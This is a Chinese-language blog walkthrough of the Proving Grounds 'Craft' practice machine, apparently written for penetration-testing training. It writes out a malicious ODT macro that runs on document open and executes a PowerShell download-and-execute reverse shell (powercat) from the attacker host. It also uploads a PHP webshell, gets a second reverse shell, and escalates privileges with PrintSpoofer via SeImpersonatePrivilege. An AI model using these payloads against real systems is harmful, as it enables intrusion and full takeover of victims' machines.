Proving Grounds Practice : Craft Walkthrough
Proving Grounds Practice : Craft Walkthrough
Foothole (立足點 ) :
- 只有一個 80 Port 且可以上傳 ODT 檔案
- 建立內涵 Marco 指令執行的 ODT 檔案,使用 Powershell Oneliner 執行拿到 Reverse Shell
PE ( 提權 ) :
- C:\users 發現有 apache 帳號,網站的根目錄有寫入權限
- 上傳 webshell.php 切換使用者後發現有 SeImpersonatePrivilege 權限
- SeImpersonatePrivilege 標準作業提權成功
注意事項 :
- Kali 使用 libreoffice 建立 Marco 文件檔,ODT 檔案
- Powershell Oneliner 永遠是最好的選擇
- 看到使用者目錄有其他使用者可以先想著切換使用者搞不好就有權限
第一步 Rustscan,└─$ rustscan -a 192.168.205.169 --scripts none --ulimit 5000 | tee rustscan
snmp filtered 沒戲,└─$ sudo nmap -sU -Pn -p 161 192.168.205.169 | tee snmp
nmap,└─$ sudo nmap -sCV -A -Pn -p 80 192.168.205.169 | tee nmap
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
whatweb,└─$ whatweb http://192.168.205.169 | tee whatweb
既然只有一個 80 Port,那就 nikto 先下去掃掃看,└─$ nikto -h 192.168.205.169
沒甚麼發現
80 /
好熟悉的畫面,這個在 Craft2 靶機有看過
參考 : https://your-it-note.blogspot.com/2024/02/proving-grounds-practice-craft2.html
網頁下方一樣有個履歷檔案上傳的功能
一樣先丟一個 test.txt 看來結果也是一樣,系統告知限制使用 ODT file 檔案
在 Craft2 中我們使用的是會送出 NetNTLMv2 驗證的檔案,然後透過 SMB 驗證後上傳檔案利用
但在現有的靶機中除了 80 Port 以外沒有其他可以利用的地方,所以改成看可否直接上傳一個
執行後會送出 Reverse Shell 的 ODT 檔案
先在 kali 安裝 office 編輯程式,└─$ sudo apt-get install -y libreoffice-writer
上述指令只有裝 libreoffice-writer,這個就像是 Word、PDF、等 一樣
要裝其他的類似 Excel 表格的都要另外再安裝
若未來有機會用到可以全部安裝,可以改用 sudo apt install libreoffice 指令就會全部安裝了
直接輸入 libreoffice 啟動 Office 編輯軟體
Write Document
點選 OK
Tools --> Marcos --> Organize Marcos --> Basic
Untitled 1 --> New 輸入名稱 "reverseshell" --> OK
直接使用 powershell.exe -ep bypass -w hidden -enc "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.162/tools/ps1/powercat.ps1'); powercat -c 192.168.45.162 -p 4444 -e powershell" 來建立 Reverse Shell
寫完的結果如下,要注意 " 在中間要用兩個才有用,字體會呈現紅字才對
========================================================================
REM ***** BASIC *****
Sub Main
shell("cmd /c powershell -ep bypass -w hidden -enc ""IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.162/tools/powercat.ps1'); powercat -c 192.168.45.162 -p 4444 -e powershell')""")
End Sub
========================================================================
存檔
接下來開啟 Customize
Events 頁籤選擇 "Open Document" --> Marco
點選檔案 reverseshell --> Main --> OK
可以看到 "Open Document" 後面會接我們剛剛建立的 Marco 檔案,點選 OK
上傳看看吧
等了一段時間 HTTP Server 都沒有任何消息
將 Marco 檔先改成最簡單的 HTTP 連線測試看看
shell("cmd /c powershell iwr http://192.168.45.162")
這一次進來了,看來是我們原本的 shell 語法有問題
既然已知 powershell 是沒有問題的那就直接使用最好用的 oneliner
重新編輯 Marco 檔
拿到 Reverse Shell 了
開始 PE, whoami /priv
幾乎沒有任何權限,但系統裡面有另外一個帳號 apache
發現在 XAMPP 的根目錄有寫入的權限
上傳 webshell.php
漂亮
標準作業
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.162/tools/powercat.ps1'); powercat -c 192.168.45.162 -p 4445 -e powershell"
4445 進來了,whoami 確認一下使用者改成是 apache
whoami /priv 看一下確認有 SeImpersonatePrivilege Enabled
標準作業,上傳 PrintSpoofer64.exe
iwr -uri http://192.168.45.162/tools/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
然後利用 .\PrintSpoofer64.exe -i -c powershell.exe
whoami 確認是管理者
留言
張貼留言